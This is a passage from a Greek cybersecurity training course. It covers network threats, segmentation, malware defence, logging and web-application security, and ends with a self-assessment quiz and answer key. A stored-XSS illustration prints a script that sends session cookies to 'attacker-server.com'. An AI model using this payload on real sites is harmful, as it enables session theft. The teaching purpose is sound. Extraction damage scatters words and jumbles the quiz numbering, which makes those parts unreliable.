μεταδίδονται εντός του δικτύου. - Κατανεμημένες επιθέσεις άρνησης παροχής υπηρεσιών (distributed denial-ofservice attacks): οι επιτιθέμενοι δημιουργούν botnets, δηλαδή δίκτυα από μεγάλο αριθμό μολυσμένων υπολογιστών, που τα προγραμματίζουν να αποστείλουν ταυτόχρονα μεγάλο όγκο δικτυακής κίνησης σε servers του Οργανισμού που έχουν δημόσια IP διεύθυνση, με σκοπό τη διακοπή των παρεχόμενων υπηρεσιών στους νόμιμους χρήστες. Αλλοίωση ιστοσελίδων (web defacement): οι επιτιθέμενοι που έχουν παραβιάσει το δίκτυο του Φορέα μπορούν να αλλοιώσουν μία ή περισσότερες ιστοσελίδες του αναρτώντας διαφόρων ειδών μηνύματα ή φωτογραφίες, προκαλώντας ζημιά στη φήμη του Οργανισμού και απώλεια της εμπιστοσύνης του κοινού στις ψηφιακές υπηρεσίες του. Απειλές σε ασύρματα δίκτυα: η φύση του ασύρματου καναλιού επικοινωνίας και η υψηλή φορητότητα των ασύρματων συσκευών εισάγουν νέα είδη απειλών, όπως είναι ενδεικτικάΜη εξουσιοδοτημένο σημείο πρόσβασης (rogue access point): συσκευή που συνδέεται κρυφά στο εσωτερικό δίκτυο του Οργανισμού και προσφέρει με αυτόν τον τρόπο πρόσβαση στον επιτιθέμενο.

- Επίθεση “evil twin”: παραλλαγή της προηγούμενης, όπου το μη εξουσιοδοτημένο access point μεταδίδει το ίδιο ακριβώς όνομα (SSID, Service Set Identifier), αλλά με δυνατότερο σήμα, σε σχέση με το νόμιμο access point του Οργανισμού. Στην περίπτωση αυτή ο επιτιθέμενος μπορεί να υποκλέψει κωδικούς πρόσβασης και άλλα ευαίσθητα δεδομένα που εισάγουν -

οι

Πλαστογράφηση

ανυποψίαστοι MAC

χρήστες

διεύθυνσης

(MAC

που

συνδέονται

address

spoofing):

σε ο

αυτό.

επιτιθέμενος,

παρακολουθώντας κρυφά τη δικτυακή κίνηση, εντοπίζει τη MAC διεύθυνση ενός υπολογιστή με αυξημένα προνόμια, την πλαστογραφεί ως δική του και ως εκ τούτου παρακάμπτει μέτρα ελέγχου πρόσβασης στο δίκτυο του Φορέα. Μέτρα Προστασίας Σχεδίαση δικτυακής υποδομής Αναπτύξτε και καταγράψτε: - Πολιτική ασφάλειας δικτύων, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες. - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. - Τηρείτε λεπτομερή δικτυακά διαγράμματα που να απεικονίζουν όλες τις δικτυακές συνδέσεις και συσκευές, μαζί με τα βασικά χαρακτηριστικά τους, καθώς και τα κρίσιμα συστήματα και υπηρεσίες. Τα ανωτέρω διαγράμματα θα πρέπει να τηρούνται σε ασφαλές σημείο. - Τηρήστε σε αρχείο όλους τους κανόνες δρομολόγησης, καθώς και τους κανόνες ελέγχου πρόσβασης (access control lists) των firewalls. Το εν λόγω αρχείο θα πρέπει να είναι επαρκώς προστατευμένο. - Διασφαλίστε ότι οι servers του Οργανισμού που έχουν δημόσια IP διεύθυνση (π.χ. web servers, mail servers, VPN servers κ.λπ.) ανήκουν σε διακριτή δικτυακή ζώνη (υποδίκτυο) που είναι διαχωρισμένη με φυσικό ή λογικό τρόπο από το εσωτερικό δίκτυο του Οργανισμού. Εγκαταστήστε firewall στην εξωτερική περίμετρο του δικτύου, το οποίο θα επιτρέπει μόνο την εισερχόμενη και εξερχόμενη ροή της πληροφορίας (inbound και outbound traffic) που είναι απαραίτητη για την εκτέλεση των επιχειρησιακών λειτουργιών του Οργανισμού. Διαχωρίστε το εσωτερικό δίκτυο σε διακριτά υποδίκτυα με βάση το επίπεδο κρισιμότητας και ευαισθησίας των επιχειρησιακών τομέων του Οργανισμού. Εφαρμόστε φιλτράρισμα της δικτυακής κίνησης (traffic filtering) μεταξύ των υποδικτύων για να περιορίσετε τη ροή της πληροφορίας στην απολύτως απαραίτητη για τις επιχειρησιακές ανάγκες του Οργανισμού. - Διασφαλίστε ότι η απομακρυσμένη πρόσβαση χρηστών στο εσωτερικό δίκτυο του Οργανισμού γίνεται μέσω VPN (Virtual Private Network), με χρήση αυθεντικοποίησης δύο παραγόντων (2-factor authentication) και των πιο πρόσφατων αλγόριθμων κρυπτογράφησης. - Διασφαλίστε ότι το σύνολο της δικτυακής κυκλοφορίας από και προς το διαδίκτυο περνά από αυθεντικοποιημένο διακομιστή μεσολάβησης επιπέδου

εφαρμογής (application layer (web) proxy server), ο οποίος έχει ρυθμιστεί να απαγορεύει μη εξουσιοδοτημένες συνδέσεις. - Εφαρμόστε δικτυακά συστήματα ανίχνευσης και πρόληψης εισβολών (network intrusion detection / prevention systems) για την ανίχνευση και πρόληψη επιθέσεων σε κάθε υποδίκτυο του Οργανισμού. - Υλοποιείστε δίοδο δεδομένων (data diode) σε μορφή hardware, που θα επιβάλλει τη ροή δεδομένων μόνο προς μία κατεύθυνση με σκοπό την προστασία κρίσιμης πληροφορίας σε υποδίκτυα υψηλών απαιτήσεων ασφάλειας. Προστασία από κατανεμημένες επιθέσεις άρνησης παροχής υπηρεσιών- Κατανοήστε τους τρόπους με τους οποίους η υπηρεσία που παρέχετε μπορεί να υπερφορτωθεί, καθώς και τα όρια (σε bandwidth, επεξεργαστική ισχύ και αποθηκευτικό χώρο) πέρα από τα οποία η διαθεσιμότητα της υπηρεσίας κινδυνεύει με διακοπή. - Εφαρμόστε τη χρήση του domain registrar locking για να εμποδίσετε άρνηση παροχής υπηρεσιών λόγω μη εξουσιοδοτημένης διαγραφής, μεταφοράς ή αλλοίωσης της εγγραφής του domain σας. -Διασφαλίστε ότι η υποδομή σας έχει πλεονασμό σε πόρους (π.χ. σε hardware) που της επιτρέπουν να ανθίσταται σε επίθεση άρνησης παροχής υπηρεσιών. -Διαχωρίστε δικτυακά τις κρίσιμες υπηρεσίες σας από άλλες υπηρεσίες που είναι πιθανότερο να στοχοποιηθούν (π.χ. web υπηρεσίες). -Υλοποιήστε συστήματα παρακολούθησης της διαθεσιμότητας των κρίσιμων υπηρεσιών σας, που θα ανιχνεύουν επιθέσεις άρνησης παροχής υπηρεσιών και θα στέλνουν ειδοποίηση σε πραγματικό χρόνο. -Αναθέστε τη φιλοξενία των δημόσιας πρόσβασης εφαρμογών σας σε έναν πάροχο cloud υπηρεσιών, μετά από ενδελεχή αξιολόγηση και αναζήτηση χαρακτηριστικών όσον αφορά στην ικανότητά του να ανθίσταται σε επιθέσεις άρνησης παροχής υπηρεσιών. Λάβετε υπόψη σας την παράμετρο της εμπιστευτικότητας. -Αναθέστε σε ειδικευμένο πάροχο cloud υπηρεσιών ασφάλειας (security as a service) την παροχή υπηρεσιών προστασίας των δημόσιας πρόσβασης εφαρμογών σας από κατανεμημένες επιθέσεις άρνησης παροχής υπηρεσιών. Λάβετε υπόψη σας την παράμετρο της εμπιστευτικότητας. Ασφάλεια ασύρματων δικτύων 1. Εάν ο Οργανισμός παρέχει ασύρματα δίκτυα για δημόσια πρόσβαση, αυτά θα πρέπει υποχρεωτικά να είναι διαχωρισμένα από το υπόλοιπο δίκτυο του Οργανισμού. 2. Απενεργοποιήστε την ασύρματη πρόσβαση στο διαχειριστικό περιβάλλον του wireless access point. 3. Εφαρμόστε το πρωτόκολλο 802.1x (network access control) για να ελέγχετε τις συσκευές που μπορούν να αυθεντικοποιηθούν στο δίκτυο.

4. Διασφαλίστε ότι η ασύρματη δικτυακή κυκλοφορία κρυπτογραφείται με τον αλγόριθμο Advanced Encryption Standard (AES) με χρήση κλειδιού μήκους 256 bits. 5. Χρησιμοποιείστε ασύρματο σύστημα ανίχνευσης εισβολών (wireless intrusion detection system, WIDS) για την ανίχνευση μη εγκεκριμένων ασύρματων σημείων πρόσβασης (wireless access points) συνδεδεμένων στο δίκτυο του Οργανισμού.

α) Το δίκτυο του Οργανισμού έχει διαχωριστεί σε τρεις ζώνες, δύο DMZ (demilitarized zones) και μία εσωτερική ζώνη, με τη χρήση ενός firewall. Η επιτρεπόμενη κατεύθυνση της κίνησης απεικονίζεται με τα κόκκινα βέλη. (β) Στη ζώνη DMZ-1 οι web, email και proxy servers έχουν δημόσια IP και επικοινωνούν απευθείας με το Internet. Η δικτυακή ροή από το Internet προς τη DMZ-1 περνάει δια μέσω του firewall, το οποίο επιτρέπει την κίνηση μόνο από συγκεκριμένες θύρες (π.χ. 80, 443, 25 κ.λπ.). Όλες οι υπόλοιπες TCP/UDP θύρες είναι κλειστές. (γ) Κάποιοι servers γενικά μπορεί να πρέπει να επικοινωνούν με άλλους servers, π.χ. ο web server με έναν database server, και ενώ εκ πρώτης όψεως φαίνεται βολικό να εγκατασταθούν στο ίδιο μηχάνημα, από πλευράς ασφάλειας δεν συνίσταται. Στο σχήμα ο database server βρίσκεται χωριστά στη ζώνη DMZ-2 και η κίνηση από την DMZ-1 προς την DMZ-2 είναι μονόδρομη

και

επιτρέπεται

μόνο

από

συγκεκριμένες

θύρες.

(δ) Η εσωτερική ζώνη είναι απομονωμένη από το Internet και αποτελείται από σταθμούς εργασίας και εσωτερικούς servers. Η απευθείας κίνηση από το Internet προς την εσωτερική

ζώνη απαγορεύεται. Η πρόσβαση των εργαζομένων χρηστών προς το Internet κατευθύνεται μέσω του HTTP proxy server που βρίσκεται στη ζώνη DMZ-1. Προστασία από κακόβουλο λογισμικό Το κακόβουλο λογισμικό συνιστά μία από τις βασικότερες απειλές για τα πληροφοριακά συστήματα και οι κίνδυνοι που απορρέουν από τη δράση του είναι πολυποίκιλοι: - Κλοπή κωδικών πρόσβασης, - Kλοπή δεδομένων, - Eντοπισμός πρόσθετων στόχων εντός του δικτύου, - Kρυπτογράφηση και αλλοίωση δεδομένων. Ο κακόβουλος κώδικας μπορεί να μολύνει τα συστήματα με διάφορους τρόπους, συμπεριλαμβανομένων του email, μολυσμένων ιστοσελίδων και φορητών μέσων αποθήκευσης (USB, εξωτερικοί σκληροί δίσκοι). Η εξάπλωσή του στηρίζεται σε ευπάθειες στα συστήματα αλλά και σε απρόσεκτη συμπεριφορά του τελικού χρήστη, όπως είναι το άνοιγμα συνημμένων αρχείων και συνδέσμων (links), η εγκατάσταση προγραμμάτων και η εισαγωγή μολυσμένου USB. Προκειμένου το κακόβουλο λογισμικό να ανιχνευθεί και να αφαιρεθεί, οι μηχανισμοί προστασίας θα πρέπει να εφαρμοστούν σε όλα τα σημεία εισόδου και εξόδου των συστημάτων (σταθμοί εργασίας, web servers, mail servers, proxy servers, remote access servers, firewalls). Αναπτύξτε και καταγράψτε: - Πολιτική προστασίας από κακόβουλο λογισμικό, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες, - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. Υλοποιείστε λογισμικό προστασίας από κακόβουλα προγράμματα (anti-malware software) σε κάθε σταθμό εργασίας και server, το οποίο θα λειτουργεί με αυτοματοποιημένο τρόπο μέσω κεντρικής διαχείρισης. Το λογισμικό θα δρα συνεχώς, ενώ η βάση δεδομένων των υπογραφών του (signature database) θα ενημερώνεται σε τακτική βάση. Ρυθμίστε ώστε να διενεργείται αυτόματα σάρωση για κακόβουλο λογισμικό (antimalware scanning) σε φορητά μέσα αποθήκευσης (USB, εξωτερικούς σκληρούς δίσκους, CD, DVD), όταν αυτά συνδέονται σε συσκευές. Διασφαλίστε ότι οι εκδόσεις των web browsers και email clients που είναι εγκατεστημένοι στα συστήματα του Οργανισμού είναι οι πλέον πρόσφατες, ενημερώνονται αυτόματα και είναι πλήρως υποστηριζόμενες. Προβείτε σε απενεργοποίηση ή απεγκατάσταση κάθε μη εγκεκριμένου plug-in ή addon σε web browsers και e-mail clients. Χρησιμοποιείστε την υπηρεσία DNS filtering για την παρεμπόδιση πρόσβασης σε γνωστά κακόβουλα domains. Επιβάλλετε φιλτράρισμα του URL σε επίπεδο δικτύου για να περιοριστεί η δυνατότητα σύνδεσης σε ιστοσελίδες μη εγκεκριμένες από την πολιτική ασφάλειας του Οργανισμού.

Εφαρμόστε την τεχνητή φιλτραρίσματος περιεχομένου (content filtering) για τον έλεγχο των κακόβουλων εισερχόμενων e-mails. Εγκαταστήστε συστήματα ανίχνευσης και πρόληψης εισβολών (host-based intrusion detection / prevention systems) σε κάθε server κρίσιμης σημασίας (web, email, DNS κ.α.). Εγκαταστήστε συστήματα ανίχνευσης και πρόληψης εισβολών (host-based intrusion detection / prevention systems) σε κάθε σταθμό εργασίας.

Στο σχήμα απεικονίζεται μία από τις παραλλαγές του Emotet, ενός από τα πλέον επικίνδυνα malware των τελευταίων ετών που η δράση του διεκόπη μόλις πρόσφατα. Αφού μολύνει τον υπολογιστή του θύματος, το Emotet κλέβει συνθηματικά που είναι αποθηκευμένα στο σύστημα και στον browser του χρήστη, ενώ από τον κατάλογο των επαφών του Outlook λογαριασμού του συλλέγει ονόματα και emails για να στείλει νέα spam emails. Εκτός από τα παραπάνω, το Emotet κατεβάζει στον υπολογιστή του θύματος και άλλα malware, κυρίως banking trojans που έχουν στόχο την κλοπή των κωδικών πρόσβασης στο web banking. Είναι χαρακτηριστικό ότι στις περισσότερες των περιπτώσεων η αρχική μόλυνση ξεκινά χάρη σε ένα απλό κλικ που έκανε το θύμα για να ανοίξει ένα κακόβουλο word αρχείο που εστάλη μέσω email. Εδώ φαίνεται πόσο σημαντική είναι η εκπαίδευση και ευαισθητοποίηση των χρηστών σε βασικά θέματα κυβερνοασφάλειας, όπως είναι οι επιθέσεις κοινωνικής μηχανικής μέσω phishing emails.

Τήρηση και ανάλυση αρχείων καταγραφής συμβάντων Η συλλογή και ανάλυση των αρχείων καταγραφής συμβάντων αποτελούν ιδιαίτερα κρίσιμες παραμέτρους για την έγκαιρη ανίχνευση κακόβουλης δραστηριότητας και την αποτελεσματική αντιμετώπιση περιστατικών παραβίασης της ασφάλειας πληροφοριακών συστημάτων. Οι επιπτώσεις από την κακή διαχείριση καταγραφής συμβάντων μπορούν να αποβούν μοιραίες για ένα Οργανισμό: - Σε αρκετές περιπτώσεις τα logs συλλέγονται μεν, όμως δεν

αναλύονται ή αναλύονται πολύ σπάνια. Αυτό σημαίνει ότι οι επιτιθέμενοι μπορούν να επιτύχουν μόλυνση με κακόβουλο λογισμικό, να κλέβουν πολύτιμα δεδομένα και γενικά να ελέγχουν τα συστήματα του Οργανισμού για αρκετούς μήνες χωρίς να γίνονται αντιληπτοί από κανέναν. - Κάποιες φορές τα logs αποτελούν τη μόνη ένδειξη ότι έχει λάβει χώρα επιτυχής κυβερνοεπίθεση. Σε αυτή την περίπτωση, εάν η συλλογή των logs είναι ανεπαρκής, τότε η ομάδα αντιμετώπισης θα αδυνατεί να διερευνήσει βασικά στοιχεία της επίθεσης, όπως τον τρόπο, το χρόνο, καθώς και το εάν έχουν κλαπεί δεδομένα από τον Οργανισμό. Αναπτύξτε και καταγράψτε: - Πολιτική καταγραφής και παρακολούθησης συμβάντων, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες- Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. Διασφαλίστε ότι έχει ενεργοποιηθεί η λειτουργία της καταγραφής συμβάντων (event logs) σε όλους τους σταθμούς εργασίας, servers και δικτυακές συσκευές. Διασφαλίστε τον συγχρονισμό ανάμεσα στα ρολόγια όλων των συσκευών, έτσι ώστε να επιτυγχάνεται ακρίβεια στη συσχέτιση συμβάντων μεταξύ διαφορετικών συστημάτων. Διασφαλίστε ότι καταγράφονται, κατ’ ελάχιστον, τα παρακάτω συμβάντα: 1. Εισόδου (επιτυχούς και ανεπιτυχούς) και εξόδου για όλα τα συστήματα που απαιτούν αυθεντικοποίηση. 2. Πρόσβασης σε αρχεία και διεργασίες διακομιστών (servers 3. Αποτυχημένων προσπαθειών εκτέλεσης αρχείων. 4. Χρήσης και απόπειρας χρήσης ειδικών προνομίων. 5. Χρήσης των εφαρμογών συστήματος 6. Αλλαγών σε λογαριασμούς και στην πολιτική ασφάλειας 7. Αιτημάτων HTTP και DNS. 8. Μεταφοράς δεδομένων από και προς φορητά μέσα αποθήκευσης. Ρυθμίστε τα αρχεία καταγραφής συμβάντων να περιλαμβάνουν λεπτομερή metadata όπως πηγή γεγονότος, ημερομηνία, χρήστης, χρονοσήμανση, IP διεύθυνση πηγής, IP διεύθυνση προορισμού κ.λπ. Διασφαλίστε ότι τα αρχεία καταγραφής συμβάντων κρατούνται για χρονική περίοδο κατ’ ελάχιστον ενός έτους. Διασφαλίστε ότι τα αρχεία καταγραφής συμβάντων προστατεύονται επαρκώς από μη εξουσιοδοτημένη πρόσβαση, τροποποίηση και διαγραφή. Διασφαλίστε ότι η διαχείριση της λειτουργίας καταγραφής συμβάντων έχει ανατεθεί σε ένα υποσύνολο χρηστών με λογαριασμούς αυξημένων προνομίων. Διασφαλίστε ότι τα απαραίτητα αρχεία καταγραφής συμβάντων συγκεντρώνονται σε έναν κεντρικό διακομιστή καταγραφής (log server) για ανάλυση και επιθεώρηση.

Εγκαταστήστε εργαλείο ασφάλειας πληροφοριών και διαχείρισης συμβάντων (Security Information and Event Management - SIEM), με σκοπό τη συσχέτιση των συμβάντων και τον εντοπισμό ύποπτης δραστηριότητας. Ασφάλεια διαδικτυακών εφαρμογών Οι διαδικτυακές εφαρμογές αποτελούν τον πυρήνα του σύγχρονου κυβερνοχώρου. Online τραπεζικές εργασίες, ηλεκτρονικό εμπόριο, κοινωνικά δίκτυα, υποβολή φορολογικής δήλωσης και ηλεκτρονική διακυβέρνηση είναι μερικά μόνο από τα παραδείγματα web εφαρμογών, οι οποίες έχουν πλέον αποκτήσει καθολικότητα στην καθημερινή ψηφιακή δραστηριότητα του ιδιώτη, του πολίτη, της επιχείρησης και του κράτους. Για τους παραπάνω λόγους αποτελούν και το πρωταρχικό πεδίο κυβερνοεπιθέσεων κάθε επιπέδου με αρκετά δυσμενείς επιπτώσεις: - Κλοπή κρατικών και εταιρικών πληροφοριών. - Κλοπή χρηματικών ποσών από χρήστες και τραπεζικά ιδρύματα. - Κλοπή κωδικών πρόσβασης και αριθμών πιστωτικών καρτών. - Κλοπή, αλλοίωση ή και καταστροφή ολόκληρων βάσεων δεδομένων. - Παραποίηση ιστοσελίδων (web defacement) κ.α Οι διαδικτυακές εφαρμογές είναι ευάλωτες σε σημαντικό αριθμό σοβαρών ευπαθειών: SQL injection, command injection, cross-site scripting (XSS) κ.α. Γεγονός που επιβάλλει την υλοποίηση αρχών ασφάλειας στις εφαρμογές ήδη από το σχεδιασμό τους (security by design) και καθ’ όλη τη διάρκεια του κύκλου ζωής τους. Αναπτύξτε και καταγράψτε: - Πολιτική ασφάλειας διαδικτυακών εφαρμογών, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες. - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. Ορίστε τις απαιτήσεις ασφάλειας της εφαρμογής, οι οποίες θα ανταποκρίνονται στο βαθμό κρισιμότητας των λειτουργιών της και της ευαισθησίας των δεδομένων που επεξεργάζεται. Αναπτύξτε και καταγράψτε: - Πολιτική ασφάλειας διαδικτυακών εφαρμογών, που θα περιγράφει σκοπό, πεδίο εφαρμογής, ρόλους και ευθύνες. - Διαδικασίες υλοποίησης της πολιτικής και των σχετικών μέτρων προστασίας. Ορίστε τις απαιτήσεις ασφάλειας της εφαρμογής, οι οποίες θα ανταποκρίνονται στο βαθμό κρισιμότητας των λειτουργιών της και της ευαισθησίας των δεδομένων που επεξεργάζεται. Διασφαλίστε ότι υλοποιούνται τεχνικές κωδικοποίησης χαρακτήρων (output encoding και character escaping) ακριβώς πριν τα δεδομένα εισόδου εισέλθουν στο διερμηνευτή (interpreter) της εφαρμογής. Διασφαλίστε ότι υλοποιούνται τεχνικές παραμετροποίησης ερωτημάτων (query parameterization) σε κάθε στοιχείο που εισάγεται στο σύστημα διαχείρισης βάσεων δεδομένων της εφαρμογής. Ρυθμίστε τις κεφαλίδες απάντησης

(response headers) του πρωτοκόλλου HTTP ώστε να υλοποιούν τα Content-Security-Policy, HSTS και X-Frame-Options. Διασφαλίστε ότι υλοποιούνται οι παρακάτω τεχνικές ασφαλούς αυθεντικοποίησης και διαχείρισης συνόδου (session management): 1. Οι κωδικοί πρόσβασης (passwords) είναι ισχυροί. 2. Εφαρμόζεται αυθεντικοποίηση δύο παραγόντων (2-factor authentication) όπου ορίζουν οι απαιτήσεις ασφάλειας της εφαρμογής. 3. Οι κωδικοί πρόσβασης αποθηκεύονται σε κρυπτογραφημένη μορφή χρησιμοποιώντας εγκεκριμένη one-way hash function με την προσθήκη στον υπολογισμό μίας ακολουθίας τυχαίων δεδομένων (salt) μήκους τουλάχιστον 32 bits. 4. Σε κάθε αυθεντικοποίηση χρήστη η εφαρμογή δημιουργεί ένα νέο token συνόδου με τη χρήση εγκεκριμένων κρυπτογραφικών αλγορίθμων. 5. Κατά την αποσύνδεση χρήστη (logout) και λήξη συνόδου το token συνόδου ακυρώνεται. 6. Τα tokens συνόδου που βασίζονται σε cookies έχουν ενεργοποιημένες τις ιδιότητες (attributes) “Secure”, “HttpOnly” και “SameSite Υλοποιείστε τον έλεγχο πρόσβασης στις λειτουργίες, αρχεία δεδομένων, URLs, υπηρεσίες και λοιπούς πόρους της εφαρμογής, για τους χρήστες και τις διεργασίες, με βάση την αρχή των ελάχιστων προνομίων (least privilege). Διασφαλίστε ότι κάθε επικοινωνία του web server (με browsers χρηστών, κλήσεις άλλων web υπηρεσιών, βάσεις δεδομένων, cloud κ.α.) υλοποιείται με κρυπτογράφηση της σύνδεσης με χρήση της πλέον πρόσφατης έκδοσης του πρωτοκόλλου TLS (encryption in transit). Διασφαλίστε ότι η εφαρμογή υλοποιεί τεχνικές καταγραφής συμβάντων (event logs) που περιλαμβάνουν την απαραίτητη πληροφορία για μελλοντική λεπτομερή έρευνα σε περίπτωση κυβερνοεπίθεσης ή άλλου συμβάντος. Διασφαλίστε ότι υλοποιούνται τεχνικές κατάλληλης διαχείρισης λαθών και εξαιρέσεων (errors and exceptions) σε περίπτωση μη αναμενόμενου γεγονότος ή συμβάντος ασφάλειας. Διενεργήστε έλεγχο ευπαθειών (vulnerability test) για κάθε νέα λειτουργικότητα που προστίθεται στην εφαρμογή κατά τα διαδοχικά στάδια ανάπτυξής της. Διενεργήστε έλεγχο παρείσδυσης (penetration test) πριν η τελική έκδοση της εφαρμογής τεθεί σε παραγωγική λειτουργία. Υλοποιείστε firewall επιπέδου εφαρμογής (web application firewall), είτε στην υποδομή σας είτε ως ανατιθέμενη cloud υπηρεσία (security as a service), που θα ελέγχει την HTTP κίνηση προς την web εφαρμογή για γνωστούς τύπους επιθέσεων.

Διασφαλίστε ότι όσα δεδομένα της εφαρμογής έχουν ταξινομηθεί ως ευαίσθητα αποθηκεύονται σε κρυπτογραφημένη μορφή (encryption at rest).

Το Cross-Site Scripting (XSS) αποτελεί μία από τις πλέον ύπουλες ευπάθειες των web εφαρμογών. Στο σχήμα απεικονίζονται τα βήματα εκτέλεσης της επίθεσης για το είδος Stored ή Persistent XSS: 1.

Ο επιτιθέμενος αποστέλλει σε μία ευπαθή ιστοσελίδα που δέχεται σχόλια ή μηνύματα

χρηστών, π.χ. σε ένα forum, ένα μήνυμα που περιέχει όμως κώδικα javascript, ενδεικτικά: <script

type=”text/javascript”>

var

address=’http://attacker-

server.com/cookie.php?c=’+escape(document.cookie); </script> 2.

Το παραπάνω script αποθηκεύεται στον server της ευπαθούς εφαρμογής.

2. Το θύμα κάνει login στην ιστοσελίδα και ενεργοποιεί την εκτέλεση του script. 3. Επειδή το script είναι γραμμένο σε javascript θα εκτελεστεί στον browser του θύματος, θα κλέψει το session cookie της σύνδεσής του, το οποίο θα αποσταλεί σε server που ελέγχει ο επιτιθέμενος. Κατόπιν, ο επιτιθέμενος θα χρησιμοποιήσει το κλεμμένο cookie για να αυθεντικοποιηθεί ως το θύμα (κλοπή ταυτότητας). Αυτό που κάνει ιδιαίτερα ύπουλη την παραπάνω επίθεση είναι ότι το script θα εκτελεστεί με το που θα επισκεφτεί το θύμα την ευάλωτη ιστοσελίδα, χωρίς να απαιτείται να κάνει κλικ κάπου.

Σύνοψη Εκπαιδευτικής Ενότητας 7 Σε αυτή την ενότητα διδαχθήκατε: την διάρθρωση και τους Κινδύνους των Πληροφοριακών Συστημάτων και Υποδομών. την Ασφάλεια των Δικτύων.

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 7 1

Επιλέξτε την σωστή απάντηση. Α

Όσο περισσότερες είναι οι εφαρμογές που εκτελούνται σε ένα σύστημα, τόσο

μειώνεται και η λεγόμενη «επιφάνεια επίθεσης» (“attack surface”) του συστήματος. Β

Όσο περισσότερες είναι οι εφαρμογές που εκτελούνται σε ένα σύστημα, τόσο

αυξάνεται και η λεγόμενη «επιφάνεια επίθεσης» (“attack surface”) του συστήματος. Γ

Η λεγόμενη «επιφάνεια επίθεσης» (“attack surface”) του συστήματος παραμένει

η ίδια ανεξάρτητα από τις εφαρμογές που τρέχουν σε αυτό. Δ

Η λεγόμενη «επιφάνεια επίθεσης» (“attack surface”) του συστήματος εξαρτάται

από το είδος των εφαρμογών που τρέχουν σε αυτό.

2

Στις κατανεμημένες επιθέσεις άρνησης παροχής υπηρεσιών (distributed denial-

ofservice attacks), οι επιτιθέμενοι δημιουργούν …...

3

Α

warm.

Β

botnets.

Γ

trojans.

Δ

virus.

Πως ονομάζεται η επίθεση κατά την οποία ο επιτιθέμενος παρακολουθεί την

δικτυακή κίνηση;

4

Α

Πλαστογράφηση MAC διεύθυνσης.

Β

evil twin.

Γ

web defacement.

Δ

man-in-the-middle.

Χρησιμοποιείστε υποδομή ιδιωτικού κλειδιού για τη διενέργεια αυθεντικοποίησης

χρηστών με τη χρήση ψηφιακού πιστοποιητικού. Α

ΣΩΣΤΟ

Β

5

ΛΑΘΟΣ

Ρυθμίστε στους σταθμούς εργασίας ώστε να ενεργοποιείται κλείδωμα της οθόνης

μετά από μέγιστο χρονικό διάστημα …. λεπτών αδράνειας του χρήστη, με σκοπό την αποφυγή μη εξουσιοδοτημένης πρόσβασης.

6

7

8

Α

15

Β

20

Γ

10

Δ

5

Χρησιμοποιείστε αποκλειστικά ισχυρούς κωδικούς πρόσβασης. Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Οι κωδικοί πρόσβασης πρέπει να αποθηκεύονται σε κρυπτογραφημένη μορφή. Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

H ασύρματη δικτυακή κυκλοφορία κρυπτογραφείται με τον αλγόριθμο Advanced

Encryption Standard (AES) με χρήση κλειδιού μήκους ….

9

Α

256 bits

Β

32 bits

Γ

64 bits

Δ

128 bits

Πως γίνεται η πρόσβαση των εργαζομένων χρηστών από την εσωτερική ζώνη ενός

δικτύου στο Internet; Α

Mέσω του HTTP reverse proxy server.

Β

Mέσω του HTTP proxy server.

Γ

Μέσω Web server.

Δ

Μέσω application server.

10 Με ποια συσκευή δικτύου χωρίζουμε ένα δίκτυο σε ζώνες ασφαλείας; Α

switch. Β

router.

Γ

firewall.

Δ

bridge.

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 7 1:

Απάντηση 1. Β

2:

Απάντηση 2. Β

3:

Απάντηση 3. Δ

4:

Απάντηση 4. Β

5:

Απάντηση 5. Α

6:

Απάντηση 6. Α

7:

Απάντηση 7. Α

8:

Απάντηση 8 Α

9:

Απάντηση 9. Β

10:

Απάντηση 10. Γ

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 8: Νομοθετικό πλαίσιο Ηλεκτρονικού Εμπορίου (e-shop) Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν τους δημόσιους φορείς προς το κοινό και τον σχεδιασμό Ασφαλείας. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Δικαιώματα Πνευματικής Ιδιοκτησίας Nόμοι περί πνευματικής ιδιοκτησίας Ρόλος εθνικής νομοθεσίας Δικαίωμα Αναπαραγωγής (Copyright) Όρος Copyright Εξαιρέσεις από την κατάρτιση ηλεκτρονικών συμβάσεων Βασικές Αρχές Κίνδυνοι απώλειας δεδομένων και τρόποι προστασίας τους Οι κίνδυνοι για τα προσωπικά δεδομένα σήμερα Οι κίνδυνοι μη συμμόρφωσης με τον Γενικό Κανονισμό Προστασίας Προσωπικών Δεδομένων Η αποτίμηση των κινδύνων ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ WIPO, UCC, copyright, user interface, SADT, Risk analysis, evaluation, risk, direct losses, indirect losses, Critical infrastructures, Internet of Things, Cloud Computing, Ransomware, Compliance risk risk profiling, risk mapping, harm. Ένας από τους σημαντικότερους παράγοντες, που συντέλεσε στην συρρίκνωση της επιχειρηματικότητας στο Διαδίκτυο, ήταν η έλλειψη ξεκάθαρων νομοθετικών ρυθμίσεων για ζωτικά θέματα των ψηφιακών συναλλαγών. Η απότομη τεχνολογική ανάπτυξη και η αρχική ραγδαία εξάπλωση του ηλεκτρονικού εμπορίου βρήκαν απροετοίμαστη την νομοθεσία σε παγκόσμιο επίπεδο, η οποία αποδείχτηκε ελλιπής και αδύναμη να προσαρμοστεί τόσο γρήγορα στα νέα δεδομένα.

